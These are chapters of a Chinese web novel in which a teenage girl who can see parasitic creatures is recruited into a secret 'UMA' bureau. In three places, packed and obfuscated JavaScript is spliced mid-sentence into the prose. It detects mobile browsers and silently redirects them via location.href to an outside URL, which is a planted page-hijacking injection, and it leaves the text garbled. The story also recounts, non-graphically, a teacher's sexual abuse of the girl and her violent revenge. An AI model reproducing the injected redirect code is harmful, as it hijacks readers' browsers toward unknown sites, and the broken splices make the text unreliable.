霓虹又流露出惊恐的神情,下意识靠向一旁的白恩。他轻拍拍她的肩安抚道:“没有关系,放轻松,只是简单的检查。” 季明珊没挪开视线,抬起一只手,示意身旁蒙面的助理,将带来的009号封印物放到桌上,也就是霓虹的眼前。 白恩只看到了一个透明的空罐。他侧过头看向霓虹,她的表情定格一瞬,而后爆发出尖锐而恐惧的呐喊:“啊!!!!!!” 白恩快速将她拢进怀里,转过身来,用身体挡住了她的视线。他扭头看向季明珊,对方则朝他点了点头。 他的直觉是一直是正确的。 这样高等级的邪恶的生物,竟然出现在了下等居民区。明明还深处地下封闭的室内,白恩却仿佛察觉到,往日风平浪静的的联邦第824号居民区,已经变了天。 “带她去检查。”季明珊收敛了审视的目光,又转回去看监控。 她身边的助理领着白恩和霓虹,走到另一间屋内。这里就眼熟得多,像是个医院内的急诊室,助理操作仪器给她做了脑电图和心电图、采血、测量了体温和血压等基础身体数据,确认无碍后才放他们离开。 “真的不用给她测瞳么?”助理将报告投到大屏上,小心地低声问道。 “不用。”季明珊摇头晃脑地不知在想些什么,随口回着,“她已经受到足够惊吓了。” …… 白恩将霓虹送回了家,还难得与母亲团聚、说了会儿话。实际上身为一级警官,他拥有让家人迁至五大区的特权,只可惜母亲坚持生活在824区,很是执拗。 “最近注意安全。”白恩不能多说,只能只言片语地透露点信息。白芳会意,又多嘴嘱咐了他几句,不要太辛苦,好好吃饭、休息。 霓虹拒绝了白恩提出的24小时贴身保护。她送走白家母子,关上家门,径直走进了奶奶的卧室。 “我去警署了。”她坐在床边,像在自言自语,“我让她们误认为,你在我身体里。” 床上的老人似乎在沉睡,并未有什么反应。 “我猜,大部分人都看不到你的存在。但从今天开始,势必会有专人暗中搜查。”说到这儿,她停顿片刻,眸光沉静,“我在警署那里,看到了和你一样的存在。” “你的同类,被装在实验室的密封罐中,看起来很可怜。” 突然,“奶奶”睁开双眼,缓慢而又僵硬地转过头颅,全黑的双眸阴森森地注视着霓虹。 不过她现在觉得,这双眼睛可没有实验室里的那个女人的叠瞳吓人。 “我不知你的来意,但你蛰伏在这里,肯定有目的。”霓虹回应着它的目光,“我已经引起了警署的注意,如果你选择继续寄生在我奶奶身上,他们一定会查到你。” 它在思考。 像是觉得霓虹的说法颇具信服力,它不再操控“奶奶”的身体,而是从她的头顶钻出,像只硕大的人形壁虎趴在墙上。它朝霓虹探过灵活的头部,侧头端详她的表情。 此刻屋内尚未陷入黑暗,霓虹可以清楚地借着日落的余晖,看清楚它的模样。那一团浓黑的头部正在蠕动,表面坑坑洼洼,像是无数个五官在它脸上生长,变形而又诡异。上面至少有四张嘴、三对眼睛和七八个鼻梁,那几张嘴同时用力张了张,却没法出一点声音。 紧接着,它缓慢挪动身体,融入了窗沿下灰白的墙壁。霓虹推开窗看去,只捕捉到它沉入地底前露出的一点点黑色尾巴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660046|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 呼。霓虹飞快合上窗户,撑着墙大口喘着粗气。方才的对峙,再加上警署里费尽心思地演戏,耗费了她身体大半的能量。 心里的包袱不再,霓虹心情瞬间好了许多。她缓了缓,到厨房把根部霉烂的红薯洗净切块,又从冰柜里翻找出一袋有些发黑的冻肉,准备给自己做一碗香喷喷的炖菜。 …… 白恩回到警署,第一时间赶往地下32层。季明珊还在反复翻看那段监控视频,只是画面左上角多了几行数据。 “季局长。”白恩面带忧思,“霓虹身上,真的有异质寄生么?”霓虹看不懂,但他明白,方才隔壁屋那些看似平平无奇的医疗检查器械,都是经过改装的探测仪器。 “没有。”其实就算不检查,季明珊也能一眼分辨。只不过联邦隐藏了她的真实实力,当然,探测仪也是必须的步骤,毕竟比起她的眼睛,联邦统治者们更希望看到真切的数据。 白恩悬着的心放下大半。 异质生物的存在并不稀奇,但只有极少数才会寄生人类。UMA管理局虽然有季明珊这样平易近人的高层领导,其本质仍是个残忍而血腥的高级研究组织,以追寻未知生物体踪迹为目标,拥有联邦最高自由权限,未达目的不择手段。据说联邦上一次出现异质寄生的情况,UMA连人带异质活捉了起来,生生剖开身体,来研究人与异质共生关系的建立。 “对了。”季明珊吩咐道:“给你时间,安顿下霓虹的家人。后天直接领她到UMA报道。” “可是……”白恩没预料到这个发展。在他看来,这不过是个偶然事件,当务之急应该是动用警力,全力搜寻异质体的线索才对。 “她是初阶‘视灵者’。”季明珊分神瞥他一眼,没多废话,“要是你不想她某天在家中意外身亡,就抓紧把人给我带过来。” 视灵者? 白恩瞳孔骤然紧缩。 怪不得自己听到她的求救如此在意,有时候他都不知道自己那诡异的直觉所指引的方向。 “收到。”他没再多耽误,戴好警帽快步离开了。 季明珊走神想起自己桌上那份外卖,顿觉饥肠辘辘。她反复翻看监控,不是为了找到异质存在的证据,而是在观察霓虹。 虽然她的表演堪称一绝,几乎骗过了拥有超强直觉天赋的白恩——当然,他可能也是关心则乱。季明珊还是从她的微表情中,找到了些许的异样。霓虹刻意安排的路线、故意在监控中留下的痕迹、以及她还未走到公园,就仿佛预知自己即将面对什么的神情,在高阶“视灵者”眼里就显得有些蹩脚。 她不仅能看到未知生物体,还能洞察一部分人类隐秘的想法。说得邪乎点,就是能看穿心灵。 而她之所以没选择在白恩面前拆穿霓虹,源于她在警署说的那段对于异质体的描述——季明珊笃信,霓虹一定在其它时间、其它地点见过异质体。为什么选择今天这个时机到警署演这场戏?大概是那个异质体的存在,威胁到了她的安全。 季明珊勾勾唇角。 真是个有意思的小孩儿。 5. 诡异黑影(三) 霓虹连轴转了两天,难得睡了个安稳觉。 她昨晚把闹钟调后了一个小时,却还是六点就悠悠转醒。 似乎到了雨季,窗外又是一片灰蒙。霓虹提前把雨具塞进书包,她不想再经历上次的窘迫。 “黑夜终将过去,黎明终会到来。” 霓虹脑子里突然浮现出这句话。她并不是什么拥有丰富文采的人,只觉这感慨来得实在突兀,摇摇头不再深思。她照例起床换上校服、束好马尾,端盆出去洗漱。 推开吱呀的防盗门,霓虹垂眸望去,白恩穿着微皱的白色衬衫,领口敞开,双手插兜,斜倚在一辆颜色黑亮、线条流畅的私家摩托旁,闻声微微仰头。 “早。”他大概一宿没睡,眼下泛着淡淡乌青,不过语气和笑容依旧温和。 “早。”霓虹嘴里叼着牙刷,含混地回应,心里却升起不好的预感。 大概是等了一宿、也不差这几分钟时间,白恩静静等她洗漱完毕,满脸挂着水珠朝自己走来。 “季局长,想让你加入UMA管理局。”他琢磨了半天该如何开口,最终还是选择直接告知,毕竟他也左右不了这个结果,“她承诺会给你五大区一等公民身份,并让你的奶奶享受联邦最优质的医疗服务。” “不是严禁雇佣童工么?”霓虹闻言诧异地扬起眉,下意识反问道。 “UMA管理局,隶属五大区,拥有最高级别权限。”白恩苦笑着,“凌驾于联邦警署之上。” 霓虹思忖片刻,“等我一下。” 她举了举手里的盆。 白恩点点头,正巧他腰侧的通讯机响了起来,走远几步接起。 霓虹转过身,一步步迈上台阶,大脑飞速运转。 UMA管理局?从没听过。她想起昨天警署地下32层那个叠瞳的女人,她是季局长么?那在她眼前能被看穿一切的诡异感觉再次爬上了霓虹的后脑,让她生生抖了个激灵。 就因为她能看见那团怪物?昨天玻璃罐子里涌动的黑雾只有一只手掌大小,像是被解剖下的、仍具有生命活力的部分“组织”。是从她家里躲藏的这团黑雾上切下的吗? 这个能力很稀有?可她明明记得,苏醒时脑海中如同海水倒灌而来的记忆——自己只是一名平平无奇的三等公民,没有任何异能。 还是这种异能尚未被记载,或者说,无法被轻易探测? 霓虹心里闪过数道疑问。但她没在家里磨蹭,放下盆立刻走到门外,以免惹人生疑。 白恩快速结束通讯,看向她的目光,带有询问的意味。 “我想,我没权利拒绝。”霓虹耸了耸肩。 白恩有些讶然。他没想到一个16岁的孩子,能这么快想通其中关节,毕竟他连UMA是干什么的都没说,寻常人家也不可能有所耳闻。他独自驱车前来,是不想那帮人的阵仗吓到她。 他忽地想起昨晚的调查。 UMA管理局的每个人都拥有一册绝密的个人档案,从出生开始,事无巨细。季明珊把任务下达给他,就由他全权负责搜集整理。霓虹的亲生父母失去下落,奶奶是灾变后的联邦难民,黑户,被分配到824号居民区,连住房都是联邦慈善机构免费提供的。而霓虹本人的记录,则从她七岁进入福利小学开始,但也只有零星的成绩登记,看起来格外的平庸。 信息严重缺失。 不过这在824号居民区很常见。白恩也从小生活在这里,自然知道这里的世界同五大区、甚至是前百号区都有着云泥之别。贫穷、灾病、饥荒,每天都有数不清的、沉默着死去的人,又有无数生命诞生,先进的科技在这里就像是对人类无声的嘲讽。 让他很感兴趣的是霓虹在慈善高中的经历。准确来说,是这高二一年来的经历。她的每科成绩逐渐变得平稳而又均衡,体育尤其突出。不仅如此,她似乎从一个不起眼的透明人,变成为了人群中的“焦点”,不光是同学,就连任课的教师都对她避之不及。 至于那响当当的名号——“惹不起的怪物”的来源,他不得而知,或许今天去学校的这一趟能有收获。 白恩长腿一跨,骑上摩托,侧身拍了拍宽敞的后座,“上来,先带你去学校办理休学手续。” 霓虹迟疑了下,回头望了望这间原主生活了十六年的小屋。 白芳有她们家门钥匙,她倒不必担心奶奶的安危。只是她知道这一步走出去,很难再回头。 …… 霓虹清楚白恩不只是带她去办理休学手续这么简单。能随随便便给出一等公民身份的神秘组织,肯定要先把她查个底儿掉。而她唯一接触外人的环境,就是慈善高中,老师和同学一定会被问话,那帮蠢货会编排出怎样的荒诞故事,可想而知。 白恩的摩托车飞快汇入主路,眼看那栋晶蓝色的地标建筑近在咫尺,霓虹突然戳了戳他的后背。 “其实,我在学校的名声并不好。”她决定先发制人。 白恩松了松油门,“怎么说?” “他们都叫我怪物。”霓虹语气失落,声音逐渐变小,“我不过是和他们相处不来而已。” 白恩心里暗道正好。他本想私下打探这个不太友善的昵称来源,看起来霓虹会亲自告诉他答案。 “究竟发生了什么?”他关切地问。 “你知道的,我只能靠奶奶的补助金生活,有时学校里会突然征收费用,像是体检费、班费等,虽然不多,但我也很难及时交上。”想到这里,霓虹眸色暗了暗,“同学们排挤我,我可以理解,可我没想到老师们也是一样,尤其是教务处的孙主任。每次我不能及时交钱,她就把我叫到办公室,让我脱下裤子,狠狠用皮鞭抽我。” 白恩无形中捏紧了油门,没有出声。 “后来孙主任成了孙校长。教务处新来了位面相和善的男老师代任,他不会训斥我,相反,他会偷偷给我糖果,还允许我翘课,在教务处的沙发上舒服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660047|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地睡上一觉。可每每醒来,我都察觉到身体有些异样,甚至是疼痛。直到有一次我偷偷吐掉了糖果装睡,才看到他锁上门后,急火火地脱了裤子,露出恶心的下/体,骑在我身上。” “我吓得要挣脱,他力气太大,将我抵在办公桌上。我一时恐慌,本能摸到桌上的圆规,反手扎进了他的眼睛。这件事不知怎么传开了,他们都怕我,觉得我会杀人,是个惹不起的怪物。” 白恩似乎在一瞬间遗失了五感,坠入了一片灰暗迷雾中。他像隔着一层厚玻璃,听着自己遥远的、逐渐剧烈的心跳,感受着自己难以平息的怒火。 他觉得自己受到了谴责。 成为一级警官后,白恩做出了选择,怀抱着对和平安宁的希冀回到824区。可他没想到,就在离警署不到一公里的地方,就在他的眼皮子底下,一个无亲无助的女孩,在以慈善为名的高中经历了如此阴暗惨痛的过往。 而警署对此全然不知,甚至连一通报警电话都没有过。 “不要再回想了。”白恩有些哽咽地打断她,“马上,你就能离开这里。” …… 霓虹目的达成,没什么表情地欣赏起路边的美景。 实际上,她没经历过这样的事,但这具身体曾经的主人经历过。可悲的是,“她”清楚知道自己被侵/犯,甚至在潜意识里还觉得,是自己太穷、太不听话而受到的惩罚。 “她”可以为了一颗糖,听从恶魔的召唤,随叫随到。 霓虹觉醒后,很快就发现了这件事。她做了个简单的陷阱,圆规也不是慌乱中从桌上拿的,而是她始终握在手心,藏在袖口,故意引诱他将自己暴露出来,再狠狠扎进他的眼睛和太阳穴,甚至在离开之前,还用鞋跟碾碎了他的下/体。 霓虹明知道自己的身份,一个带着秘密的穿越者,不该大张旗鼓地表现出异常。可她还是做了。那阵子她就像个从地狱杀回来的复仇者,所有记忆里欺辱过她、伤害过她的人,都遭到了不同程度的报复,有的人被剃光头发、有的人被倒立悬挂在校门、还有人校服里塞进了蛆虫、桌洞里突然贴满了刀片…… 没人敢和父母、老师告状,因为那都是他们曾经的把戏。 用来欺负霓虹的把戏。 …… 季明珊把自己关在办公室一夜,不顾桌上累成小山的文件堆,认真看着助理搜罗来的小道消息。她的视线,在那个满脸和身下都是血污的男人身上停留了许久。 这是张极其模糊的照片,可以看出拍摄人内心十分恐慌,但又耐不住好奇心,趁乱飞速拍下。 慈善高中背后有大人物坐镇,事情封锁得很快,她不知内情。但从这人的受伤部位和裸/露的着装可以明显看出,究竟是为什么被残忍杀害。 看来霓虹比自己想象得更强大。 或许……季明珊不太文雅地咬住铅笔头,绞尽脑汁地想着。 或许她真能把这盘死棋,下活了。 6. 诡异黑影(四) 到了学校,白恩没和负责人废话,直接亮出警官证,飞快走了遍流程。他没让霓虹进校门,而是嘱咐她在附近的便利店稍作等候,自己去去就来。 他没想到在这儿还能碰上熟人。 徐妍,联邦第一军区首长的孙女,他在联邦警校时的联谊同学。说是联谊,其实是走走形式,随机抽签分配的男女,共同在课余时间独处两到三个小时,并上交情感汇报。 白恩彼时不理解这么荒谬的活动到底是谁想出来的,直到他后来加入警署,才知道五大区的生育率早已跌破冰点,统治者们在想尽一切办法提高自然人的出生率,哪怕是采取令人匪夷所思的举动,只要存在概率,就值得尝试。 两人相遇,彼此眼中都有惊讶。只不过在听一旁跟随的校长助理提起徐妍是霓虹班主任之后,白恩眼中的诧异更多了些。 徐妍作为慈善高中里为数不多的一等公民,她的洞察力远高平民,不可能不知道霓虹的事。 但她选择了袖手旁观。 “白恩!这么巧。”徐妍和他第一次见面时一样,热情开朗地伸出手,“怎么有空来慈善高中?我听说警署的工作强度可不小。” 白恩漠然看她一眼,没理会半空中那只尴尬的手,“来给霓虹办休学。” “霓虹?”徐妍怔了怔,“你是……她家亲戚?” “不。”白恩像是懒得应付她的问话,大步流星地朝前走去。两人错身时,白恩忽地扭头,朝她低语道:“既然你选择了当一名教师,就该担负起这份责任。” 等徐妍回过神来,白恩的身影早已消失在走廊尽头。他都知道了什么?徐妍眉心锁起。她的父亲一早教育过她,不要对他人命运插手干涉,至于霓虹……她都给她抛出了五大区的橄榄枝,难道还做得不够么?她是可怜这个孩子,可慈善高中背后的掌权人是谁,白恩当真是不知道吗? …… 霓虹坐在便利店靠窗的转椅上,脚尖虚点着地面。她的手旁又多了一杯热橙汁,看样白恩真拿她当小孩。 街道上往来行人众多。透过有些脏污的玻璃,霓虹认真地观察着人们的表情。今天是工作日,即便是核心区内,人们也大多是一脸麻木于工作的表情,双眼空洞,步伐急促。不远处的空中交通要道车流不息,没人会来824号居民区旅游,整座城的人都在努力而疲惫地维持生计,小小地推动着城市的运转。 霓虹不记得自己上辈子死的时候是多大,但她清楚记得自己醒来、发现“霓虹”只有十六岁时,内心小小地感叹了下。她猜想自己应该也是个离校多年的打工人,因为一看到这些人的脸,她竟然会产生一点共鸣。 本来还以为自己至少在一年后才会步入职场,这下好了,高中肄业,就要被强制拉进什么奇怪的字母管理局卖命。 哎,世道艰辛。 白恩带好盖章的文件,急匆匆赶回来,正巧捕捉到她这一脸忧郁的模样,在店外顿住了脚步。说实话,霓虹能被季明珊盯上,自己要负全部责任。 他并不确定,UMA管理局和慈善高中,这两个都听起来高高在上的地方,哪个更阴暗、更危险、更泯灭人性。 “久等了。”白恩推门而入,便利店门上悬挂的一串金属钥匙链随之作响。这声音让霓虹回神,不知白恩在学校里听到、看到了什么,他眼中带着丝尚未平息的怒火。 摩托驶过慈善高中头顶,霓虹垂眸看去,操场上的人都缩成了小蚂蚁。她从没以这个视角看过学校,就像一只逃脱囚笼的鸟,自由就像呼吸空气那样平凡。 白恩回警署拿了些文件,领她坐上了联邦警署专用飞船。霓虹认真听着飞船的智能指令,系好安全带,将双腿卡进座位的托槽里,双手交叉,抱在胸前。 白恩正操纵着面板,这架飞船有些年头,通讯设施和导航设置都有些老旧。他捣鼓了好半天,一回头发现霓虹正襟危坐在后排中间的座椅上,浑身僵硬,老老实实地听着智能广播里的安全乘坐须知。 有点好笑。 “不用担心。”白恩在主驾驶位坐下,连安全带都没系。他调转座椅面向霓虹,“飞船已经行驶了,你感受到了么?” 霓虹颇为震惊。明明还感觉自己在原地纹丝未动,她瞄了眼面板屏幕上的航线图,确实在一点点前进。 不过她仅仅是将手臂放松,双手自然搭在扶手上。安全保护设施存在,一定有意义。 白恩抬手暗灭了一个按钮,霓虹敏锐察觉,飞船左上角面对座椅的监控设备忽地变暗。白恩深吸口气,徐徐说道:“UMA管理局,又称未知生物体管理局,负责全联邦未知生物存在的研究和监管。你那天在警署见到的,是UMA七位高层之一季明珊,也是唯一一位女性局长。她天资过人,性格略有些古怪。我们只因特殊案件合作过一次,或者说是,被她指导过一次。她展示了恐怖的非凡能力,助我们瞬间扭转了局势。” “什么非凡能力?”霓虹抓住重点。 白恩停顿了一会儿,像是不知如何描述,“说实话,我看不清。她似乎能操纵一些可怕的存在,类似于你那天在公园见到的那个。” 他从始至终没看见过异质体,却直觉相信季明珊的描述。毕竟她拥有那样一双异类的眼睛,能看到什么,他都不觉得稀奇。 想到这儿,白恩视线在霓虹的瞳孔多停留了一瞬。她的眼睛看起来很正常,也许是初阶的缘故。他没有提起有关“视灵者”的事,一是他了解不深,二是他觉得有些事,还是季明珊亲口告知她的好。 季明珊可以操控那团黑雾?霓虹内心波动,她们同样可以看到未知存在,那她往后是不是也有可能获得这项操控的能力?能操纵强有力的、还对敌人不可见的“武器”——若是在战场上,这个能力不必使用,光是站在那里,就拥有足够的震慑力。 “总之,UMA管理局并不是个太平的地方,不要轻易相信任何人。”白恩看着屏幕上来自警署技术部的通讯请求,飞快总结道:“万事小心。” 霓虹点点头。紧接着,屏幕上的通讯被快速接起,白恩从容解释着是自己太久没有操作飞船、不小心误触了关闭监控的按钮。 技术员对此毫不怀疑,只是记录了情况,顺便重启了监控设施。 …… 飞船抵达第一区星湾港口。季明珊专门派了飞车去接,霓虹还没来得及感叹第一区澄澈湛蓝的天空,就被腰别配枪的安保人员领着坐上一辆无窗的密闭车辆。 “除了UMA本局的工作人员,没人知道这个神秘部门的具体位置。”白恩像是熟悉了这个流程,在窄小压抑的黑暗车厢里依旧神色如常。 霓虹只觉得喘不过气来,胸口憋闷,有想大口呼吸新鲜空气的冲动。 “白警官、霓小姐。”一位笑得如沐春风、穿着独特乌蓝色制服的男士开启车门,礼貌地挡住上缘容易碰头的位置,侧身邀请两人下车。 霓虹踩在光洁到没有一丝污垢、略有些反光的光滑地面上。她身处一个数十米层高、面积约是半个小操场大的空荡大厅中。通铺的柔光砖蔓延到走廊尽头,霓虹不敢轻易挪动视线,因为这里的墙壁和天花板都被洁净的玻璃代替,自己的每一个微小的举动,都清楚呈现在人的面前。 车竟然直接开进了室内。直到那辆加长轿车拐弯远离,霓虹忽地想起,自己连司机的模样都没看清。 明明到了更开阔的空间,霓虹却越发地喘不过气。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660048|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “白警官,请您在前台稍等。”引路的男士语速缓慢却极具磁性,似乎具有能够蛊惑人心的力量,“霓小姐,季局长在108层等您。” 白恩给予了她一个肯定的眼神。霓虹不安地走向走廊尽头的电梯。 一想到她又要面对那双交叠的、仿佛拥有独立生命的瞳孔,头皮都有些发麻。 “叮。”离开同样铺满玻璃的电梯,霓虹踩上了柔软的地毯。依旧是全封闭的结构,数不清的玻璃让人无处遁形。她缓步靠近走廊尽头那扇挂着铃铛的木门,抬手轻敲了三下。 “请进。”季明珊的声音透过厚重的门板传来。 霓虹做了个深呼吸,推门而入。 相比于大厅的走廊的镜面结构,这里的装潢就正常了许多。墙面是明亮的鹅黄色,搭配有些古朴的酒红色窄条木质地板,摆放的桌椅、橱柜都是红木材质,虽然同样没有窗户,但室内灯光大亮,似乎还模拟了自然阳光的特性,温柔铺洒,叫人心生暖意。 霓虹望向桌首的季明珊。她没穿正式的工作制服,而是身着一条青绿色为底、点缀了黄色和白色小花的连衣裙。她正歪着身子窝在转椅上,姿势颇为不雅地翘起条腿抖动着,并未因霓虹的到来而挪动分毫。 “你的工位在105层,一会儿下去找一个叫方町的人报道,登记信息,再签一下承诺书。”季明珊侧过身子,抬抬下巴,示意她走上前来,“这里有很多规则,方町会发给你一本员工手册,自己细看。还有什么要问的?” 霓虹尽量克制自己不对那双眼产生异样的情绪,礼貌开口:“请问,我的薪水是多少?” 季明珊突然怔住了。 大多数来到这里的人,会问工作的内容、相应的保障,或者直接提出拒绝。霓虹不是楼下那帮乌合之众,但她有心思试探,便想让她先在楼下学会整合资料,顺便大概了解下往后的工作内容。 但既然她这么问了,季明珊眼珠转了转,笑着回答:“具体数额我不清楚,但大体根据工作内容,分成三个档次,一档每月十五万星币左右,二档每月五万,三档每月八千。” 还真是悬殊。 “我希望从事第三档工作。”霓虹思虑片刻,坚定开口。 季明珊本觉有些口渴,随手端起茶杯喝了一口,闻言一口茶都喷出了大半。 大部分人会选择中档水平的每月五万,毕竟这可是在第一区,高昂的物价和路费都让人眼冒金星,乘坐一趟抵达市中心的普通城际巴士飞车就需要一百星币,黄瓜、生菜、莴苣等珍稀蔬果都是按克数购买,动辄几万块钱就不见踪影。 “低档的工作并不意味着安全。”季明珊像是看穿了她的心思,“第一档工作会有我全程参与和保护,一月内上满十小时工时就可以申请休假,拿钱走人。” 听这话的意思,不选第一档的就是傻冒二百五了。霓虹不相信季明珊会把这一点告知每一位工作人员。 “是因为我能看见那团黑色怪物?” 季明珊深深看了她一眼,也像在透过她,去看什么未知的存在,“算是吧。” “你能保证我的安全么?”这话多少有些唐突,毕竟季明珊位高权重,能力非凡。霓虹也只是下意识脱口而出,毕竟每月十五万星币的报酬,听起来就像是什么杀人越货的勾当。 她很珍惜这条命,并不想涉险。但冥冥之中,一股无形力量已经渗透到她的身边,将她引向黑暗的漩涡。所以加入UMA,得到季明珊的庇护,未尝不是一件好事。 霓虹正在心里权衡着利弊,只见季明珊忽地起身,用那双难辨情绪的鬼瞳注视着霓虹的双眼,缓缓开口道: “我承诺,会确保你绝对安全。” 7. 诡异黑影(五) 霓虹被她这突如其来的郑重承诺弄得一头雾水。 季明珊微扬起头,无声询问,不信? “……谢谢。”霓虹也不知道说什么,只能尴尬道谢。 她不知道季明珊是真能保她小命,还是这位天才局长太过自信,觉得自己能一人成军御敌万千,又或者根本就是在忽悠她,好让她放心大胆给UMA卖命。 “跟我走。”季明珊看出了她的犹豫和疑问,扯过挂在椅背的长袍笼罩全身,步履飞快地朝门走去。 霓虹跟着她到达107层。一样是高挑顶的办公空间,这里却和警署完全不同,整个大堂鸦雀无声。季明珊领她穿过一排排有着数米高纯黑色隔断的工位,走上位于大厅正中央的、近乎透明的螺旋阶梯。 阶梯之上是一个方正的玻璃小房,同样有一张办公桌和几个橱柜。一个黑直长发铺到地面、穿着和楼下那位接待者一样的特殊雾蓝色制服的女人正坐在工位,手指飞快地在键盘上敲打着什么,后背挺得笔直。 季明珊推开门,脚尖却抵在门口,没有迈进。 霓虹比她矮了几节台阶,看不清内里。她下意识扫了眼下方,整个人汗毛竖起,心跳陡然加速,差点没跌下楼梯。 那一个个正方形的隔断工位里,竟然都坐满了人。整个办公厅几乎是人满为患,却没人发出一丁点儿声音。 这些人好像连喘气声都没有。 这场景实在太过诡异,让人怀疑自己是不是耳聋。霓虹捏了捏耳廓,忽然听到季明珊开口。 “季明珊,编号007,申请B级任务。” 里屋的女人双手丝毫没有停顿。不一会儿,一张带着芯片的卡从她桌上的打印机中吐出,季明珊让开半个身位,指指桌上的卡片,示意霓虹过去拿。 霓虹倒是没害怕,只是尽量避免踩到她满地都是的头发。这些头发诡异盘布,像是活的蠕动海草,霓虹差点被缠住脚踝。 成功拿到桌上的卡片,霓虹瞥了眼桌前完全没看她们一眼的女人。她的眼睛是纯粹的宝蓝色,不见瞳孔,睫毛从根部发白,五官美艳动人。 察觉到她的目光,那宝蓝色的眼球忽然动了动,随即在眼眶中疯狂转动,直到转出两个像是画上去的瞳仁来。 “你好,我是方町。” “……你好。”霓虹毛骨悚然,僵硬地抬手挥了挥,将卡片拿起握在掌心,扭头就走。 “这是方町。”下楼梯时,季明珊简单交代,“UMA管理局情报中心管理员,每次出任务都要上报给她。” “嗯。”霓虹觉得自己鸡皮疙瘩掉了一地,“那底下这些人是做什么的?” “静默员,负责全联邦未知生物事件处理。”季明珊在楼梯转弯处突然顿足,扫视着地面一个个如同蚁穴的工位。坦白讲,她不喜欢这种逼仄的工作空间,所以也很少来107层,“也就是第三档工作。” 霓虹庆幸自己没坚持选第三档。 季明珊刷了下指纹,电梯轰轰下行。霓虹紧盯着电子屏上的楼层面板,-78、-79、-80…… 电梯最终停在-108层。霓虹莫名想到整栋楼的镜子结构、想到季明珊的办公室就在108层、想到那些无声无息的静默者们,一个念头忽地冒出—— 整个UMA管理局,好像一栋监狱。 这里就像是824区警署的地下32层,洁白的墙壁和地砖,不知名的实验器材分列两侧,能看到三两个穿着白大褂的研究人员游走其间,很是忙碌。 那天在季明珊身侧的助理,出现在一扇门前,像是恭候许久。季明珊朝他点点头,这扇门顿时如同液体,朝四周门框的方向散去。 三人抬步而入。 又是完全密封的房间,只是那封层的材料看着有些奇怪,黑得发绿,又有些发青,仔细看还在流动。霓虹克制住了自己上手摸摸的想法,转而将视线投到五个并排摆放在屋子正中、有点像按摩椅构造的仪器上。 “坐最中间那个。”季明珊站在最前方的智能大屏前,插入从107层拿到的卡片,手指则快速在屏幕上操作着。 霓虹没什么情绪波动,只是有些茫然地听从指令,上去坐好。没一会儿大屏幕中央出现“Access”的绿色弹窗,季明珊过来坐到她身边那张椅子上。 “任务……需要我做什么?”霓虹直起上身,扭头问道。 “看。”季明珊像是疲于回答这些浅显的问题,仰躺着闭上了双眼。 看?找怪物?还是看任务流程学习?霓虹只知道是B级任务,不知这边的强度排序是字母顺序还是倒序,还有躺在这里做什么? 没等她想通,季明珊的助理走了过来,抬手做出动作,示意她抓紧躺下。霓虹照做。 突然,手臂传来一阵过电的酥麻。柔软的椅背像是张开大口的怪物,狠狠吸住了她的后背和四肢。霓虹本能地仰起头试图摆脱桎梏,却被一股无形的恐怖巨力拉进未知深处。 …… 咚。 霓虹经过些许漫长的坠落,不太优雅地脸朝下“着陆”,和地表拇指长的短茬野草来了个亲密接触。 倒是不疼。 她利落起身,拍拍满身尘土。季明珊静静站在她身前,闻声连动都没动一下,目光幽深地看向前方。 霓虹顺着她的视线看过去,心脏一沉—— 这是一片纯净的广袤自然,以她的视域根本望不到尽头。她转着身,无论她从任何角度看,视野里都是一模一样的景色。 没有树和灌木、没有房屋、没有道路、没有生命、没有风雨、没有方向,只有土地和覆盖其上的野草。天空湛蓝高远,遥不可触,她和季明珊就像两粒漂浮天地的尘埃,渺小而又脆弱。 人在自然面前,何其卑微。 “我为这里取了个名字。”季明珊像回归原野般,语气略有兴奋,“叫无垠之地。” 无垠之地。霓虹在心里默念一遍。 “跟紧我。”季明珊挪开步子,朝“前”走去。 霓虹紧跟上,毕竟她只有季明珊一个锚点。若没有她,相信自己很快就会在这里迷失。 “这并不是什么B级任务。”季明珊心情不错,话也多了起来,“陈元在传送舱内做了点手脚,那边的杂事就由他来处理。之所以带你来这儿,是为了获得你对我的信任,当然,也算一个简单的入职测试。” “测试?”霓虹反问。 “请睁开你的眼睛。” 季明珊带着有些哀伤的笑容,随即低声念起一段古老晦涩的咒文。 霎时间,霓虹视线的尽头出现了一团黑色的、蠕动而来的生物。“它”覆盖着一层薄薄灰雾,像披着一层轻薄的衣服。紧接着,又有三五成群的黑雾凭空出现,甚至开始融合,逐渐生长为十几米高的黑色浆液巨物。 “这是……”霓虹下意识退后几步,想要逃离。这可比她奶奶身上的那个不速之客,大了十几倍。 